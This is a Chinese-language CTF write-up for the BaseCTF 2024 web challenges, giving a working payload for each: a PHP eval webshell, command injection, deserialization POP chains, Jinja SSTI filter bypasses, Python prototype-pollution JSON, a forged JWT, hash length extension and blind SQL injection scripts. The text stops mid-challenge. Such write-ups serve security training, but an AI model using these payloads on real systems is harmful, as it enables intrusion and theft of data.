BaseCTF2024 web

news2024/11/17 3:40:40

Web

[Week1] HTTP 是什么呀
GET: ?basectf=%77%65%31%63%25%30%30%6d%65

POST: Base=fl@g

X-Forwarded-For:127.0.0.1

Referer: Base

Cookie: c00k13=i can't eat it

User-Agent: Base

有Location跳转, 抓包得到flag:

QmFzZUNURntkZGUzZjA0Yy1hMDg5LTQwNGMtOTFjNi01ODZjMzAxMzM3Y2J9Cg==
BaseCTF{dde3f04c-a089-404c-91c6-586c301337cb}
[Week1] 喵喵喵´•ﻌ•`
?DT=system("cat /flag");
[Week1] md5绕过欸
GET: ?name[]=1&name2[]=1
POST: password[]=2&password2[]=2
[Week1] A Dark Room

查看源码可以找到flag

[Week1] upload

没有过滤, 上传一个 1.php文件
访问 uploads/1.php

<?=eval($_POST[1]);?>

直接执行命令就行

[Week1] Aura 酱的礼物
<?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
    die('这是 Aura 的礼物,你不是 Aura!');
}

// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
    die('这不是 Aura 的博客!');
}

$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
    die('请去博客里面写下感想哦~');
}

// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift);

绕过前面的die, 到最后的include() 利用伪协议读取文件

$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
    die('这不是 Aura 的博客!');
}

$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
    die('请去博客里面写下感想哦~');
}

主要是这块卡住了一下, challenge需要以http://jasmineaura.github.io开头, 用了file_get_contents函数读取了这个地址的内容 , 需要里面的内容包括 已经收到Kengwang的礼物啦 , 但是那个地址里面的内容是不可控的, 里面也不存在一个这样的内容, 所以可以想到需要一个地址里面的内容可控, 这个时候就会想到使用 @ 这个符号,
http://jasmineaura.github.io@www.baidu.com , 这个地址实际上会跳转到 后面那个百度的地址,
所以直接替换为题目的网址,因为题目本身就存在 已经收到Kengwang的礼物啦 这个内容, 满足条件, 绕过进入到后面的include()

payload:

pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@challenge.basectf.fun:35127/&gift=php://filter/convert.base64-encode/resource=flag.php
[Week2] ez_ser

题目:

<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {
        echo "lalalla".$this->kw;
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
}
$ser = $_GET['ser'];
unserialize($ser);
?>

poc:

<?php
class web{
    public $kw;
}
class re{
    public $chu0;
}
class pwn{
    public $over;
}
class Misc{}

$a=new web();
$a->kw=new re();
$a->kw->chu0=new pwn();
$a->kw->chu0->over=new Misc();

echo urlencode(serialize($a));
[Week2] 一起吃豆豆

在index.js里面可以直接找到flag, base64解密一下就行

在这里插入图片描述

[Week2] 你听不到我的声音
<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

shell_exec 执行命令没有回显

使用tee命令
cmd=cat /flag | tee 1.txt
或者使用 ">" 直接将结果重定向到1.txt
cmd=cat /flag > 1.txt

将执行命令的结果输出到1.txt, 访问 /1.txt
[Week2] RCEisamazingwithspace
 <?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
    echo 'Space not allowed in command';
    exit;
}

// execute the command
system($cmd); 

不能有space 用${IFS}绕过

cmd=cat${IFS}/flag
[Week2] 所以你说你懂 MD5?
<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
    die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
    die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
    die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
    die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');

最后一步存在一个hash长度扩展攻击
密钥长度指的是$random的字符长度

在这里插入图片描述

payload:(使用bp好一点, 直接在浏览器上传参好像不太行)

apple[]=1&banana[]=2&appple=QNKCDZO&bananana=240610708&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=44cb75883537fa9fdf714ac6fe69f908&apppple=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&banananana=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab
[Week2] Really EZ POP

题目:

<?php
highlight_file(__FILE__);

class Sink
{
    private $cmd = 'echo 123;';
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

if ($_POST['nature']) {
    $nature = unserialize($_POST['nature']);
}

poc:

<?php
// highlight_file(__FILE__);

class Sink
{
    private $cmd = 'system("cat /flag");';
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
//存在 private 字段, 由于 php 版本低于 7.1+, 所以我们需要保留好他的访问性
    public function setWord($word) //关键, 控制到word的值
    {
        $this->word = $word;
    }

    public function __invoke()
    {
        echo 'Shark says:' . $this->word;
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

$a=new Nature();
$a->sea=new Sea();
$a->sea->animal=new Shark();
$a->sea->animal->setWord(new Sink());

echo urlencode(serialize($a));

//O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A20%3A%22system%28%22cat+%2Fflag%22%29%3B%22%3B%7D%7D%7D%7D
[Week2] 数学大师
import re
import requests

req=requests.session()
url='http://challenge.basectf.fun:44878/'

answer=0
while True:
    res=req.post(url=url,data={"answer":answer})
    print(res.text)
    regex=r"(\d*?)(.)(\d*)\?"
    match=re.search(regex,res.text)
    if match.group(2) == "+":
        answer = int(match.group(1)) + int(match.group(3))
    elif match.group(2) == "-":
        answer = int(match.group(1)) - int(match.group(3))
    elif match.group(2) == "×":
        answer = int(match.group(1)) * int(match.group(3))
    elif match.group(2) == "÷":
        answer = int(match.group(1)) // int(match.group(3))
    if "BaseCTF" in res.text:
        print(res.text)
        break
[Week3] 滤个不停

过滤了很多的协议, 使用日志包含绕过, 在UA头处写上一句话木马
<?php eval($_POST[1]);?>

POST:
incompetent=HelloWorld&Datch=/var/log/nginx/access.log&1=system("cat /flag");
[Week3] ez_php_jail
$Jail = $_GET['Jail_by.Happy'];

当 php 版本⼩于 8 时,GET 请求的参数名含有 . ,会被转为 _ ,但是如果参数名中有 [ ,这
个 [ 会被直接转为 _ ,但是后⾯如果有 . ,这个 . 就不会被转为 _
?Jail[by.Happy=phpinfo(); 
可以看到被禁用了很多函数
highlight_file配合glob, glob 通常用于匹配符合特定规则的文件路径名, glob("/f*") 会搜索文件系统中所有以 /f 开头的文件或目录。然后,通过 [0] 索引选择第一个匹配的结果

?Jail[by.Happy=highlight_file(glob("/fl*")[0]);
[Week3] 复读机

官方wp : https://j0zr0js7k7j.feishu.cn/wiki/XN3BwnHrZihQ3ZkhEyocb5EJnUd

过滤了很多, 前面主要通过, 字符拼接绕过关键子, 以及 [ ] 绕过 .

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('ls')['rea''d']())%}

过滤了 /\ , 无法进入到根目录拿flag

法一:利用 chr 函数来构造出一个命令

先找到 chr

BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% print(chr) %}

接着用 chr 搭配上数字构造出想要执行的命令

BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

最后把 cmd 作为 popen 的参数传递进去,即可得到 flag

同理,利用 format 来得到 / 也是可以的

BaseCTF{% set cmd='cat '~'%c'%(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

法二:利用环境变量的值

查看环境变量,可以看到 OLDPWD=/

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('env')['rea''d']())%}

此时可以直接利用它来切换到根目录,然后再读flag

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cd $OLDPWD;cat flag')['rea''d']())%}

法三:利用 expr substr 切割出一个 /

比如 pwd 中的第一个字符就是 / ,那用 expr substr 切割出来后,之后就可以像法二那样切换到根目录然后读 flag 了

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('a=`pwd`;a=`substr $a 1 1`;cd $a;cat flag')['rea''d']())%}
[Week3] 玩原神玩的

题目

<?php
highlight_file(__FILE__);
error_reporting(0);

include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
  ys_open($_GET['tip']);
} else {
  die("错了!就你还想玩原神?❌❌❌");
}

function ys_open($tip) {
  if ($tip != "我要玩原神") {
    die("我不管,我要玩原神!😭😭😭");
  }
  dumpFlag();
}

function dumpFlag() {
  if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
    die("可恶的QQ人!😡😡😡");
  }
  $a = $_POST['m'][0];
  $b = $_POST['m'][1];
  if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
    die("某站崩了?肯定是某忽悠干的!😡😡😡");
  }
  include 'flag.php';
  $flag[] = array();
  for ($ii = 0;$ii < sizeof($array);$ii++) {
    $flag[$ii] = md5(ord($array[$ii]) ^ $ii);
  }
  
  echo json_encode($flag);
}

payload

import requests
import hashlib

url='http://challenge.basectf.fun:46462/?tip=我要玩原神'
payload=''
for i in range(45):
 payload+='len['+str(i)+']=0&'
# print(payload)
header={'Content-Type': 'application/x-www-form-urlencoded'}
payload+='m[0]=100%25&m[1]=love100%2530bd7ce7de206924302499f197c7a966'
# %需要编码

res=requests.post(url=url,data=payload,headers=header)
print(res.text)
#得到flag与索引异或的md5值

flag_enc=["3295c76acbf4caaed33c36b1b5fc2cb1","26657d5ff9020d2abefe558796b99584","73278a4a86960eeb576a8fd4c9ec6997","ec8956637a99787bd197eacd77acce5e","e2c420d928d4bf8ce0ff2ec19b371514","43ec517d68b6edd3015b3edc9a11367b","ea5d2f1c4608232e07d3aa3d998e5135","c8ffe9a587b126f152ed3d89a146b445","072b030ba126b2f4b2374f342be9ed44","093f65e080a295f8076b1c5722a46aa2","a3c65c2974270fd093ee8a9bf8ae7d0b","2723d092b63885e0d7c260cc007e8b9d","72b32a1f754ba1c09b3695e0cb6cde7f","072b030ba126b2f4b2374f342be9ed44","698d51a19d8a121ce581499d7b701668","72b32a1f754ba1c09b3695e0cb6cde7f","7f39f8317fbdb1988ef4c628eba02591","a5771bce93e200c36f7cd9dfd0e5deaa","a5bfc9e07964f8dddeb95fc584cd965d","a5bfc9e07964f8dddeb95fc584cd965d","f7177163c833dff4b38fc8d2872f1ec6","9f61408e3afb633e50cdf1b20de6f466","e369853df766fa44e1ed0ff613f563bd","73278a4a86960eeb576a8fd4c9ec6997","182be0c5cdcd5072bb1864cdee4d3d6e","da4fb5c6e93e74d3df8527599fa62642","b53b3a3d6ab90ce0268229151c9bde11","4c56ff4ce4aaf9573aa5dff913df997a","f7177163c833dff4b38fc8d2872f1ec6","ec5decca5ed3d6b8079e2e7e7bacc9f2","d9d4f495e875a2e075a1a4a6e1b9770f","c0c7c76d30bd3dcaefc96f40275bdc0a","3295c76acbf4caaed33c36b1b5fc2cb1","ea5d2f1c4608232e07d3aa3d998e5135","735b90b4568125ed6c3f678819b6e058","7cbbc409ec990f19c78c75bd1e06f215","3295c76acbf4caaed33c36b1b5fc2cb1","e2c420d928d4bf8ce0ff2ec19b371514","70efdf2ec9b086079795c442636b55fb","c16a5320fa475530d9583c34fd356ef5","6ea9ab1baa0efb9e19094440c317e21b","02e74f10e0327ad868d138f2b4fdd6f0","d1fe173d08e959397adf34b1d77e88d7","34173cb38f07f89ddbebc2ac9128303f","43ec517d68b6edd3015b3edc9a11367b"]

flag=''
for i in range(45):
    for j in range(126):
        if((hashlib.md5(str(j^i).encode('utf-8'))).hexdigest()==flag_enc[i]):
            flag+=chr(j)

print(flag)
# BaseCTF{42ff51a6-7768-4f9a-b0b0-baaefb7852e5}

[Week4] flag直接读取不就行了?
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
    echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

php的原生类遍历目录和读取文件

GET:
?K=GlobIterator&W=glob:///secret/*
POST:
J=SplFileObject&H=php://filter/read=convert.base64-encode/resource=/secret/f11444g.php
[Week4] 圣钥之战1.0
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
    return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
    file = open(__file__, encoding="utf-8").read()
    return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag()
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    if request.is_json:
        merge(json.loads(request.data),instance)
    else:
        return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
    return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80)

python原型链污染, 看到read路由

@app.route('/read', methods=['GET', 'POST'])
def Read():
    file = open(__file__, encoding="utf-8").read()
    return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag()
{file}
"

可以读取文件, 那么尝试能否读取到 /flag , 这就需要将其给污染了

/pollute路由

merge(json.loads(request.data),instance)

instance = cls()

可以直接通过 __init__.__globals__获取到全局变量, 然后获取到 __file__属性, 污染它的值
通过 __file__就可以任意读取文件了

{"__init__":{"__globals__":{"__file__":"/flag"}}}

在这里插入图片描述

然后再访问 /read 路由就可以得到flag了

[Week4] No JWT
from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string

app = Flask(__name__)

# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))

# 登录接口
@app.route('/login', methods=['POST'])
def login():
    data = request.json
    username = data.get('username')
    password = data.get('password')

    # 其他用户都给予 user 权限
    token = jwt.encode({
            'sub': username,
            'role': 'user',  # 普通用户角色
            'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
        }, app.secret_key, algorithm='HS256')
    return jsonify({'token': token}), 200

# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
    token = request.headers.get('Authorization')
    
    if token:
        try:
            decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
            # 检查用户角色是否为 admin
            if decoded.get('role') == 'admin':
                with open('/flag', 'r') as f:
                    flag_content = f.read()
                return jsonify({'flag': flag_content}), 200
            else:
                return jsonify({'message': 'Access denied: admin only'}), 403
            
        except FileNotFoundError:
            return jsonify({'message': 'Flag file not found'}), 404
        except jwt.ExpiredSignatureError:
            return jsonify({'message': 'Token has expired'}), 401
        except jwt.InvalidTokenError:
            return jsonify({'message': 'Invalid token'}), 401
    return jsonify({'message': 'Token is missing'}), 401

if __name__ == '__main__':
    app.run(debug=True)

没有对签名算法进行校验

options={"verify_signature": False, "verify_exp": False}

在 login 路由下登录, 会得到token

直接在线网站解密一下, 将 role对应的值改为 admin, 然后再编码得到token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNjkzNTQxMH0.epapiT7xS_oQ34oTScv6wdgoH4yQ5-51Q4OoArFIHJw

访问/flag路由, 加上Authorization头 以及相应的token

jwt.decode(token.split(" ")[1]
注意到题目是取的以空格为分割后的第二部分
所以token前面随便加点东西, 然后空格,再是token

在这里插入图片描述

[Week4] only one sql
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
    die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query);

可以通过show tables 看到表, 通过show columns from flag 看到列

然后通过时间盲注的方式匹配查找flag

import requests
import string
import time

Str=string.ascii_lowercase+string.digits+'{}'+'-'

url="http://challenge.basectf.fun:26148/?sql=delete from flag where data like '"

end="%' and sleep(2)"

flag=''
for i in range(60):
    for j in Str:
        payload = url + flag + j + end
        Stime = time.time()
        res = requests.get(url=payload,proxies={"http": None, "https": None})
        Etime = time.time()
        if Etime - Stime > 1:
            flag += j
            print(flag)
            break
# basectf{2c49fcf8-afe0-43aa-a1b2-f978aada8667}
[Fin] Back to the future

抓个包, 返回包有一个比较奇怪的头, 以及它的值 ETag: "66db1990-4d"
访问了一下 url/66db1990-4d, 竟然是一个phpinfo() , 不过对这道题好像没用

访问 /robots.txt , 给了一个 /.git
可以通过 GitHacker 来获取 .git 的全部内容
工具: https://github.com/WangYihang/GitHacker

githacker --url http://challenge.basectf.fun:44943/ --output result

cd result
cd 8fff59a223ea872b77afc3587c59ebd6 
git log  #查看 git 历史
git checkout 9d85f10e0192ef630e10d7f876a117db41c30417  #切换到相应的分支
ls --> flag.txt
cat flag.txt
[Fin] 1z_php
<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
    for ($i=0;$i<strlen($emp);$i++){
        if (ctype_alpha($emp[$i])){
            die("你不是hacker?那请去外场等候!");
        }
    }
    echo "只有真正的hacker才能拿到flag!"."<br>";

    if (preg_match('/.+?HACKER/is',$try)){
        die("你是hacker还敢自报家门呢?");
    }
    if (!stripos($try,'HACKER') === TRUE){
        die("你连自己是hacker都不承认,还想要flag呢?");
    }

    $a=$_GET['a'];
    $b=$_GET['b'];
    $c=$_GET['c'];
    if(stripos($b,'php')!==0){
        die("收手吧hacker,你得不到flag的!");
    }
    echo (new $a($b))->$c();
}
else
{
    die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>

preg_match回溯次数的绕过: 如果回溯次数超过1000000 , preg_match会返回false

利用php原生类 SplFileObject 读取flag文件

import requests

url='http://challenge.basectf.fun:46032/?e[m.p=114514.1&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=__toString'

data= {"try":"1"*1000001+"HACKER"}
res=requests.post(url=url,data=data,proxies={"http": None, "https": None})
print(res.text)
[Fin] Jinja Mark

在/flag路由下, 通过burp爆破出幸运数字, 拿到一部分源码

有一个merge函数, 存在python的原型链污染

BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
    if request.method == 'POST':
        if request.is_json:
            merge(json.loads(request.data), instance)
            return "这个魔术还行吧"
        else:
            return "我要json的魔术"
    return "记得用POST方法把魔术交上来"

在/magic路由下污染, 因为在/index路由下{被过滤了, 经过污染后, 通过<<替代{{

{"__init__":{"__globals__":{"app":{"jinja_env":{"variable_start_string" : "<<","variable_end_string":">>"}}}}}

在/index路由下

<<lipsum.__globals__['os'].popen('cat /flag').read()>>
[Fin] Lucky Number

/flag 路由下给了源码

from flask import Flask,request,render_template_string,render_template
from jinja2 import Template
import json
import heaven
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

BLACKLIST_IN_index = ['{','}']
def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

@app.route('/m4G1c',methods=['POST', 'GET'])
def pollute():
    if request.method == 'POST':
        if request.is_json:
            merge(json.loads(request.data), instance)
            result = heaven.create()
            message = result["message"]
            return "这个魔术还行吧
" + message
        else:
            return "我要json的魔术"
    return "记得用POST方法把魔术交上来"


#heaven.py

def create(kon="Kon", pure="Pure", *, confirm=False):
    if confirm and "lucky_number" not in create.__kwdefaults__:
        return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}
    if confirm and "lucky_number" in create.__kwdefaults__:
        return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}

    return {"message": "你有什么想创造的吗?", "lucky_number": "nope"}

python的原型链污染, 最终需要创造出那个幸运数字:5346

需要进入到heaben.py里面污染, 所以要通过sys模块获取, 然后当前代码中也没有导入sys模块,
所以采用**__spec__内置属性来获取sys模块, 也就是<模块名>.__spec__.__init__.__globals__['sys']**获取到sys模块

{
    "__init__": {
        "__globals__": {
            "json":{
                "__spec__":{
                    "__init__" : {
                        "__globals__" : {
                            "sys" : {
                                "modules" : {
                                    "heaven" : {
                                        "create" : {
                                              "__kwdefaults__" : {
                                              "confirm" : true,
                                              "lucky_number" : "5346"
                                             } 
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

污染后提示去/check检查, 然后让到/ssSstTti1 下进行ssti

{{lipsum.__globals__['os'].popen('cat /flag').read()}}
[Fin] RCE or Sql Inject
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) {
    die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
